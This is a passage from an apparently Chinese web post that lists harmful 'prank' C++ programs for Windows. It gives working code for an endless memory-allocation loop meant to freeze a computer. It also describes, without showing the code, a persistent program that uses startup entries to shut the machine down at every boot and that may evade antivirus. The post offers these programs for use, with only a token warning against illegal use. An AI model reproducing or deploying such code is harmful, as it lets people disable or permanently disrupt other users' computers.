注:以下代码应勿用于非法(Dev-c++5.11实测可用)
5.
效果:卡死
警告:Windows高版本可能没有作用
解决方法:任务管理器(Ctrl+Alt+Delete)用方向键选该程序,点击Delete关闭
#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main()
{
while(1)malloc(1000);
}
警告:从6.开始为危险/永久性程序,请慎重使用
6.
效果:开机即关机
提示:操作启动项,可能被杀毒软件拦截
解决方法:杀毒软件文章来源地址https://www.toymoban.com/news/detail-647376.html
(保存在C:\main.cpp,编译后生成C:\main.exe,也可更改18行代码)
